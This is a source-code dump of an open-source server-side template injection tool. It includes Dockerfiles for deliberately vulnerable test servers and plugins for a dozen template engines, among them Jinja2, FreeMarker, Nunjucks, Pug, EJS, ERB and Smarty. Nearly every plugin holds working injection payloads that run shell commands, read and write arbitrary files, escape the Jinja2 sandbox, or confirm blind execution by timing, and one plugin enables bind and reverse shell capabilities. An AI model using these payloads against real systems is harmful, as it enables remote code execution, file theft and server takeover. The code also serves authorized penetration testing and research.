COPY . /apps/ 13 | WORKDIR /apps/tests/ 14 | 15 | CMD cd /apps/tests/env_node_tests/ && node connect-app.js 16 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.php: -------------------------------------------------------------------------------- 1 | FROM php:7.2.10-apache 2 | 3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 4 | RUN pip install requests PyYAML 5 | 6 | RUN sed -i '0,/Listen [0-9]*/s//Listen 15002/' /etc/apache2/ports.conf 7 | 8 | RUN mkdir /var/www/html/lib/ && cd /var/www/html/lib && \ 9 | curl -sL 'https://github.com/smarty-php/smarty/archive/v3.1.32.tar.gz' | tar xzf - && \ 10 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.20.0.tar.gz' | tar xzf - && \ 11 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.19.0.tar.gz' | tar xzf - 12 | 13 | COPY . /apps/ 14 | COPY tests/env_php_tests/* /var/www/html/ 15 | 16 | WORKDIR /apps/tests/ 17 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.python2: -------------------------------------------------------------------------------- 1 | FROM python:2.7.15 2 | 3 | RUN pip install mako jinja2 flask tornado PyYAML requests 4 | RUN apt-get update && apt-get install dnsutils -y 5 | 6 | COPY . /apps/ 7 | WORKDIR /apps/tests/ 8 | 9 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py 10 | 11 | EXPOSE 15001 12 | 13 | CMD python env_py_tests/webserver.py 14 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.python3: -------------------------------------------------------------------------------- 1 | FROM python:2.7.15 2 | 3 | RUN apt-get update && apt-get install dnsutils python3-pip -y 4 | RUN pip3 install mako jinja2 flask tornado 5 | RUN pip install PyYAML requests 6 | 7 | COPY . /apps/ 8 | WORKDIR /apps/tests/ 9 | 10 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py 11 | 12 | EXPOSE 15001 13 | 14 | CMD python3 env_py_tests/webserver.py 15 | -------------------------------------------------------------------------------- /docker-envs/Dockerfile.ruby: -------------------------------------------------------------------------------- 1 | FROM ruby:2.5.1 2 | 3 | RUN gem install slim tilt cuba rack 4 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 5 | RUN pip install requests PyYAML 6 | 7 | COPY . /apps/ 8 | WORKDIR /apps/tests/ 9 | 10 | EXPOSE 15005 11 | 12 | CMD cd env_ruby_tests && rackup --host 0.0.0.0 --port 15005 13 | -------------------------------------------------------------------------------- /docker-envs/README.md: -------------------------------------------------------------------------------- 1 | # Running vulnerable test environment in Docker 2 | 3 | To setup vulnerable environments for your test, you can use tplmap's test environment with Docker. 4 | 5 | The following command starts all test environments: 6 | 7 | ```sh 8 | $ docker-compose up 9 | ``` 10 | 11 | Starts specified test environments: 12 | 13 | ```sh 14 | $ docker-compose up tplmap_test_python tplmap_test_php 15 | ``` 16 | 17 | -------------------------------------------------------------------------------- /docker-envs/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | tplmap_test_python: 5 | build: 6 | context: ../ 7 | dockerfile: docker-envs/Dockerfile.python2 8 | restart: always 9 | ports: 10 | - "15001:15001" 11 | tplmap_test_python3: 12 | build: 13 | context: ../ 14 | dockerfile: docker-envs/Dockerfile.python3 15 | restart: always 16 | ports: 17 | - "15006:15001" 18 | tplmap_test_php: 19 | build: 20 | context: ../ 21 | dockerfile: docker-envs/Dockerfile.php 22 | restart: always 23 | ports: 24 | - "15002:15002" 25 | tplmap_test_java: 26 | build: 27 | context: ../ 28 | dockerfile: docker-envs/Dockerfile.java 29 | restart: always 30 | ports: 31 | - "15003:15003" 32 | tplmap_test_node: 33 | build: 34 | context: ../ 35 | dockerfile: docker-envs/Dockerfile.node 36 | restart: always 37 | ports: 38 | - "15004:15004" 39 | tplmap_test_ruby: 40 | build: 41 | context: ../ 42 | dockerfile: docker-envs/Dockerfile.ruby 43 | restart: always 44 | ports: 45 | - "15005:15005" 46 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/__init__.py -------------------------------------------------------------------------------- /plugins/engines/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/engines/__init__.py -------------------------------------------------------------------------------- /plugins/engines/dot.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Dot(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{=%(code)s}}', 15 | 'header': '{{=%(header)s}}', 16 | 'trailer': '{{=%(trailer)s}}' 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""", 21 | 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}""" 22 | }, 23 | 'read' : { 24 | 'call': 'evaluate', 25 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');""" 26 | }, 27 | 'md5' : { 28 | 'call': 'evaluate', 29 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");""" 30 | }, 31 | 'evaluate' : { 32 | 'test_os': """global.process.mainModule.require('os').platform()""", 33 | }, 34 | 'execute' : { 35 | 'call': 'evaluate', 36 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());""" 37 | }, 38 | 'execute_blind' : { 39 | # The bogus prefix is to avoid false detection of Javascript instead of doT 40 | 'call': 'inject', 41 | 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}""" 42 | }, 43 | }) 44 | 45 | self.set_contexts([ 46 | 47 | # Text context, no closures 48 | { 'level': 0 }, 49 | 50 | { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures }, 51 | 52 | ]) 53 | 54 | -------------------------------------------------------------------------------- /plugins/engines/dust.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import javascript 4 | from utils import rand 5 | from plugins.languages import bash 6 | import base64 7 | import re 8 | 9 | 10 | class Dust(javascript.Javascript): 11 | 12 | def init(self): 13 | 14 | self.update_actions({ 15 | 'evaluate' : { 16 | 'call': 'inject', 17 | 'evaluate': """{@if cond=\"eval(Buffer('%(code_b64)s', 'base64').toString())\"}{/if}""" 18 | }, 19 | 'write' : { 20 | 'call' : 'evaluate', 21 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')""", 22 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')""" 23 | }, 24 | # Not using execute here since it's rendered and requires set headers and trailers 25 | 'execute_blind' : { 26 | 'call': 'evaluate', 27 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. 28 | # TODO: use another function. 29 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');""", 30 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] }, 31 | 'test_cmd_expected': rand.randstrings[2] 32 | } 33 | }) 34 | 35 | self.set_contexts([ 36 | # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working. 37 | { 'level': 0 }, 38 | 39 | # Block as {#key}{/key} and similar needs tag key name to be bypassed. 40 | 41 | # Comment blocks 42 | { 'level': 1, 'prefix' : '!}', 'suffix' : '{!' }, 43 | ]) 44 | 45 | """ 46 | This replace _detect_render() since there is no real rendered evaluation in Dust. 47 | """ 48 | def _detect_dust(self): 49 | 50 | # Print what it's going to be tested 51 | log.info('%s plugin is testing rendering' % ( 52 | self.plugin, 53 | ) 54 | ) 55 | 56 | for prefix, suffix in self._generate_contexts(): 57 | 58 | payload = 'AA{!c!}AA' 59 | header_rand = rand.randint_n(10) 60 | header = str(header_rand) 61 | trailer_rand = rand.randint_n(10) 62 | trailer = str(trailer_rand) 63 | 64 | if 'AAAA' == self.render( 65 | code = payload, 66 | header = header, 67 | trailer = trailer, 68 | header_rand = header_rand, 69 | trailer_rand = trailer_rand, 70 | prefix = prefix, 71 | suffix = suffix 72 | ): 73 | self.set('header', '%s') 74 | self.set('trailer', '%s') 75 | self.set('prefix', prefix) 76 | self.set('suffix', suffix) 77 | self.set('engine', self.plugin.lower()) 78 | self.set('language', self.language) 79 | 80 | return 81 | 82 | """ 83 | Override detection phase to avoid reder check 84 | """ 85 | def detect(self): 86 | 87 | self._detect_dust() 88 | 89 | if self.get('engine'): 90 | 91 | log.info('%s plugin has confirmed injection' % ( 92 | self.plugin) 93 | ) 94 | 95 | # Clean up any previous unreliable render data 96 | self.delete('unreliable_render') 97 | self.delete('unreliable') 98 | 99 | # Further exploitation requires if helper, which has 100 | # been deprecated in version dustjs-helpers@1.5.0 . 101 | # Check if helper presence here. 102 | 103 | rand_A = rand.randstr_n(2) 104 | rand_B = rand.randstr_n(2) 105 | rand_C = rand.randstr_n(2) 106 | 107 | expected = rand_A + rand_B + rand_C 108 | 109 | if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)): 110 | 111 | log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % ( 112 | self.plugin) 113 | ) 114 | 115 | # Blind inj must be checked also with confirmed rendering 116 | self._detect_blind() 117 | 118 | if self.get('blind'): 119 | 120 | log.info('%s plugin has confirmed blind injection' % (self.plugin)) 121 | 122 | # Clean up any previous unreliable render data 123 | self.delete('unreliable_render') 124 | self.delete('unreliable') 125 | 126 | # Set basic info 127 | self.set('engine', self.plugin.lower()) 128 | self.set('language', self.language) 129 | 130 | # Set the environment 131 | self.blind_detected() 132 | 133 | 134 | def blind_detected(self): 135 | 136 | # Blind has been detected so code has been already evaluated 137 | self.set('evaluate_blind', self.language) 138 | 139 | test_cmd_code = self.actions.get('execute_blind', {}).get('test_cmd') 140 | 141 | if ( 142 | test_cmd_code and 143 | # self.execute_blind() returns true or false 144 | self.execute_blind(test_cmd_code) 145 | ): 146 | self.set('execute_blind', True) 147 | self.set('write', True) 148 | self.set('bind_shell', True) 149 | self.set('reverse_shell', True) 150 | -------------------------------------------------------------------------------- /plugins/engines/ejs.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Ejs(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'header': """<%%- '%(header)s'+""", 15 | 'trailer': """+'%(trailer)s' %%>""", 16 | }, 17 | 'write' : { 18 | 'write' : """<%%global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')%%>""", 19 | 'truncate' : """<%%global.process.mainModule.require('fs').writeFileSync('%(path)s', '')%%>""" 20 | }, 21 | 'read' : { 22 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 23 | }, 24 | 'md5' : { 25 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 26 | }, 27 | 'evaluate' : { 28 | 'test_os': """global.process.mainModule.require('os').platform()""" 29 | }, 30 | 'execute_blind' : { 31 | 'execute_blind': """<%%global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')%%>""" 32 | }, 33 | 'execute' : { 34 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 35 | }, 36 | }) 37 | 38 | self.set_contexts([ 39 | 40 | # Text context, no closures 41 | { 'level': 0 }, 42 | 43 | { 44 | 'level': 1, 45 | 'prefix': '%(closure)s%%>', # Terminates EJS tag 46 | 'suffix' : '<%%#', # EJS comment out 47 | 'closures' : javascript.ctx_closures 48 | }, 49 | 50 | { 51 | 'level': 2, 52 | 'prefix': '%(closure)s%%>', # Terminates EJS tag 53 | 'suffix' : '<%%#', # EJS comment out 54 | 'closures' : { 1: [ "'", ')' ], 2: [ '"', ')' ] } # Close function with quote 55 | }, 56 | 57 | { 58 | 'level': 3, 59 | 'prefix': '*/%%>', # Terminates block comments 60 | 'suffix' : '<%%#' # EJS comment out 61 | }, 62 | 63 | ]) 64 | -------------------------------------------------------------------------------- /plugins/engines/erb.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import ruby 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Erb(ruby.Ruby): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '"#{%(code)s}"', 15 | 'header': """<%%= '%(header)s'+""", 16 | 'trailer': """+'%(trailer)s' %%>""", 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write': """<%%= require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) } %%>""", 21 | 'truncate' : """<%%= File.truncate('%(path)s', 0) %%>""" 22 | }, 23 | 'evaluate_blind' : { 24 | 'call': 'inject', 25 | 'evaluate_blind': """<%%= require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i) %%>""" 26 | }, 27 | 'execute_blind' : { 28 | 'call': 'inject', 29 | 'execute_blind': """<%%= require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}) %%>""" 30 | }, 31 | }) 32 | 33 | self.set_contexts([ 34 | 35 | # Text context, no closures 36 | { 'level': 0 }, 37 | 38 | # TODO: add contexts 39 | ]) 40 | -------------------------------------------------------------------------------- /plugins/engines/freemarker.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from utils import rand 4 | from plugins.languages import java 5 | import re 6 | 7 | class Freemarker(java.Java): 8 | 9 | def init(self): 10 | 11 | self.update_actions({ 12 | 'render' : { 13 | 'render': '%(code)s', 14 | 'header': '${%(header)s?c}', 15 | 'trailer': '${%(trailer)s?c}', 16 | 'test_render': """${%(r1)s}<#--%(comment)s-->${%(r2)s}""" % { 17 | 'r1' : rand.randints[0], 18 | 'comment' : rand.randints[1], 19 | 'r2' : rand.randints[2] 20 | }, 21 | 'test_render_expected': '%(r1)s%(r2)s' % { 22 | 'r1' : rand.randints[0], 23 | 'r2' : rand.randints[2] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s") }""", 29 | 'truncate' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {echo,-n,}>%(path)s") }""", 30 | }, 31 | # Not using execute here since it's rendered and requires set headers and trailers 32 | 'execute_blind' : { 33 | 'call': 'inject', 34 | 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}") }""" 35 | }, 36 | 'execute' : { 37 | 'call': 'render', 38 | 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}") }""" 39 | } 40 | 41 | }) 42 | 43 | 44 | self.set_contexts([ 45 | 46 | 47 | # Text context, no closures 48 | { 'level': 0 }, 49 | 50 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : java.ctx_closures }, 51 | 52 | # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1> 53 | { 'level': 2, 'prefix': '%(closure)s>', 'suffix' : '', 'closures' : java.ctx_closures }, 54 | { 'level': 5, 'prefix': '-->', 'suffix' : '<#--' }, 55 | { 'level': 5, 'prefix': '%(closure)s as a><#list [1] as a>', 'suffix' : '', 'closures' : java.ctx_closures }, 56 | ]) 57 | 58 | -------------------------------------------------------------------------------- /plugins/engines/jinja2.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import python 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Jinja2(python.Python): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{%(code)s}}', 15 | 'header': '{{%(header)s}}', 16 | 'trailer': '{{%(trailer)s}}', 17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)' % { 18 | 'n1' : rand.randints[0], 19 | 'n2' : rand.randints[1], 20 | 'n3' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : (rand.randints[0],rand.randints[1]*rand.randints[2]) 24 | } 25 | }, 26 | 'evaluate' : { 27 | 'call': 'render', 28 | 'evaluate': """''}}{%% set d = "eval(__import__('base64').urlsafe_b64decode('%(code_b64)s'))" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} 29 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%} 30 | {%% if 'eval' in b.keys() %%} 31 | {{ b['eval'](d) }} 32 | {%% endif %%} {%% endif %%} {%% endfor %%} 33 | {%% endif %%} {%% endfor %%}{{''""" 34 | }, 35 | 'execute_blind' : { 36 | 'call': 'inject', 37 | 'execute_blind': """{%% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} 38 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%} 39 | {%% if 'eval' in b.keys() %%} 40 | {{ b['eval'](d) }} 41 | {%% endif %%} {%% endif %%} {%% endfor %%} 42 | {%% endif %%} {%% endfor %%}""" 43 | }, 44 | }) 45 | 46 | self.set_contexts([ 47 | 48 | # Text context, no closures 49 | { 'level': 0 }, 50 | 51 | # This covers {{%s}} 52 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures }, 53 | 54 | # This covers {% %s %} 55 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures }, 56 | 57 | # If and for blocks 58 | # # if %s:\n# endif 59 | # # for a in %s:\n# endfor 60 | { 'level': 5, 'prefix': '%(closure)s\n', 'suffix' : '\n', 'closures' : python.ctx_closures }, 61 | 62 | # Comment blocks 63 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 64 | 65 | ]) 66 | -------------------------------------------------------------------------------- /plugins/engines/mako.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import python 2 | from utils.loggers import log 3 | from utils import rand 4 | import re 5 | 6 | class Mako(python.Python): 7 | 8 | def init(self): 9 | 10 | self.update_actions({ 11 | 'render' : { 12 | 'render': '${%(code)s}', 13 | 'header': '${%(header)s}', 14 | 'trailer': '${%(trailer)s}' 15 | }, 16 | }) 17 | 18 | self.set_contexts([ 19 | 20 | # Text context, no closures 21 | { 'level': 0 }, 22 | 23 | # Normal reflecting tag ${} 24 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : python.ctx_closures }, 25 | 26 | # Code blocks 27 | # This covers <% %s %>, <%! %s %>, <% %s=1 %> 28 | { 'level': 1, 'prefix': '%(closure)s%%>', 'suffix' : '<%%#', 'closures' : python.ctx_closures }, 29 | 30 | # If and for blocks 31 | # % if %s:\n% endif 32 | # % for a in %s:\n% endfor 33 | { 'level': 5, 'prefix': '%(closure)s#\n', 'suffix' : '\n', 'closures' : python.ctx_closures }, 34 | 35 | # Mako blocks 36 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%doc>' }, 37 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%def name="t(x)">', 'closures' : python.ctx_closures }, 38 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%block>', 'closures' : python.ctx_closures }, 39 | { 'level': 5, 'prefix' : '', 'suffix' : '<%%text>', 'closures' : python.ctx_closures}, 40 | 41 | ]) -------------------------------------------------------------------------------- /plugins/engines/marko.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Marko(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '${%(code)s}', 15 | 'header': '${"%(header)s"}', 16 | 'trailer': '${"%(trailer)s"}', 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write' : """${require('fs').appendFileSync('%(path)s',Buffer('%(chunk_b64)s','base64'),'binary')}""", 21 | 'truncate' : """${require('fs').writeFileSync('%(path)s','')}""" 22 | }, 23 | 'execute_blind' : { 24 | 'call': 'inject', 25 | 'execute_blind': """${require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')}""" 26 | }, 27 | }) 28 | 29 | self.set_contexts([ 30 | 31 | # Text context, no closures 32 | { 'level': 0 }, 33 | 34 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '${"1"', 'closures' : javascript.ctx_closures }, 35 | 36 | # If escapes require to know the ending tag e.g.
37 | 38 | # This to escape from and 39 | { 'level': 2, 'prefix': '1/>', 'suffix' : '' }, 40 | 41 | ]) 42 | -------------------------------------------------------------------------------- /plugins/engines/nunjucks.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Nunjucks(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{%(code)s}}', 15 | 'header': '{{%(header)s}}', 16 | 'trailer': '{{%(trailer)s}}', 17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)|dump' % { 18 | 'n1' : rand.randints[0], 19 | 'n2' : rand.randints[1], 20 | 'n3' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : rand.randints[1]*rand.randints[2] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write' : """{{range.constructor("global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')")()}}""", 29 | 'truncate' : """{{range.constructor("global.process.mainModule.require('fs').writeFileSync('%(path)s', '')")()}}""" 30 | }, 31 | 'read' : { 32 | 'call': 'evaluate', 33 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 34 | }, 35 | 'md5' : { 36 | 'call': 'evaluate', 37 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 38 | }, 39 | 'evaluate' : { 40 | 'call': 'render', 41 | 'evaluate' : """range.constructor("return eval(Buffer('%(code_b64)s','base64').toString())")()""", 42 | 'test_os': """global.process.mainModule.require('os').platform()""" 43 | }, 44 | 'execute' : { 45 | 'call': 'evaluate', 46 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 47 | }, 48 | 'execute_blind' : { 49 | 'call': 'inject', 50 | 'execute_blind': """{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')")()}}""" 51 | }, 52 | }) 53 | 54 | self.set_contexts([ 55 | 56 | # Text context, no closures 57 | { 'level': 0 }, 58 | 59 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : javascript.ctx_closures }, 60 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 61 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 62 | 63 | # This escapes string {% set %s = 1 %} 64 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : javascript.ctx_closures }, 65 | 66 | # Comment blocks 67 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 68 | 69 | ]) 70 | 71 | -------------------------------------------------------------------------------- /plugins/engines/pug.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import javascript 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Pug(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'call': 'inject', 15 | 'render': '\n= %(code)s\n', 16 | 'header': '\n= %(header)s\n', 17 | 'trailer': '\n= %(trailer)s\n', 18 | }, 19 | # No evaluate_blind here, since we've no sleep, we'll use inject 20 | 'write' : { 21 | 'call' : 'inject', 22 | # Payloads calling inject must start with \n to break out already started lines 23 | 'write' : """\n- global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary') 24 | """, 25 | 'truncate' : """\n- global.process.mainModule.require('fs').writeFileSync('%(path)s', '') 26 | """ 27 | }, 28 | 'read' : { 29 | 'call': 'render', 30 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 31 | }, 32 | 'md5' : { 33 | 'call': 'render', 34 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 35 | }, 36 | 'blind' : { 37 | 'call': 'execute_blind', 38 | 'test_bool_true' : 'true', 39 | 'test_bool_false' : 'false' 40 | }, 41 | # Not using execute here since it's rendered and requires set headers and trailers 42 | 'execute_blind' : { 43 | 'call': 'inject', 44 | # execSync() has been introduced in node 0.11, so this will not work with old node versions. 45 | # TODO: use another function. 46 | 47 | # Payloads calling inject must start with \n to break out already started lines 48 | 49 | # It's two lines command to avoid false positive with Javascript module 50 | 'execute_blind': """ 51 | - x = global.process.mainModule.require 52 | - x('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i') 53 | """ 54 | }, 55 | 'execute' : { 56 | 'call': 'render', 57 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 58 | }, 59 | 'evaluate' : { 60 | 'test_os': """global.process.mainModule.require('os').platform()""" 61 | }, 62 | }) 63 | 64 | self.set_contexts([ 65 | 66 | # Text context, no closures 67 | { 'level': 0 }, 68 | 69 | # Attribute close a(href=\'%s\') 70 | { 'level': 1, 'prefix' : '%(closure)s)', 'suffix' : '//', 'closures' : { 1: javascript.ctx_closures[1] } }, 71 | # String interpolation #{ 72 | { 'level': 2, 'prefix' : '%(closure)s}', 'suffix' : '//', 'closures' : javascript.ctx_closures }, 73 | # Code context 74 | { 'level': 2, 'prefix' : '%(closure)s\n', 'suffix' : '//', 'closures' : javascript.ctx_closures }, 75 | ]) 76 | 77 | language = 'javascript' 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /plugins/engines/slim.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import ruby 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Slim(ruby.Ruby): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '"#{%(code)s}"', 15 | 'header': """=('%(header)s'+""", 16 | 'trailer': """+'%(trailer)s')""", 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write': """=(require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) })""", 21 | 'truncate' : """=(File.truncate('%(path)s', 0))""" 22 | }, 23 | 'evaluate_blind' : { 24 | 'call': 'inject', 25 | 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i))""" 26 | }, 27 | 'execute_blind' : { 28 | 'call': 'inject', 29 | 'execute_blind': """=(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}))""" 30 | }, 31 | }) 32 | 33 | self.set_contexts([ 34 | 35 | # Text context, no closures 36 | { 'level': 0 }, 37 | 38 | # TODO: add contexts 39 | 40 | ]) 41 | -------------------------------------------------------------------------------- /plugins/engines/smarty.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import php 2 | from utils.loggers import log 3 | from utils import rand 4 | from utils.strings import quote 5 | import base64 6 | import re 7 | 8 | class Smarty(php.Php): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '%(code)s', 15 | 'header': '{%(header)s}', 16 | 'trailer': '{%(trailer)s}', 17 | 'test_render': """{%(r1)s}{*%(comment)s*}{%(r2)s}""" % { 18 | 'r1' : rand.randints[0], 19 | 'comment' : rand.randints[1], 20 | 'r2' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(r1)s%(r2)s' % { 23 | 'r1' : rand.randints[0], 24 | 'r2' : rand.randints[2] 25 | } 26 | }, 27 | 'evaluate' : { 28 | 'call': 'render', 29 | 'evaluate': """{php}%(code)s{/php}""" 30 | }, 31 | 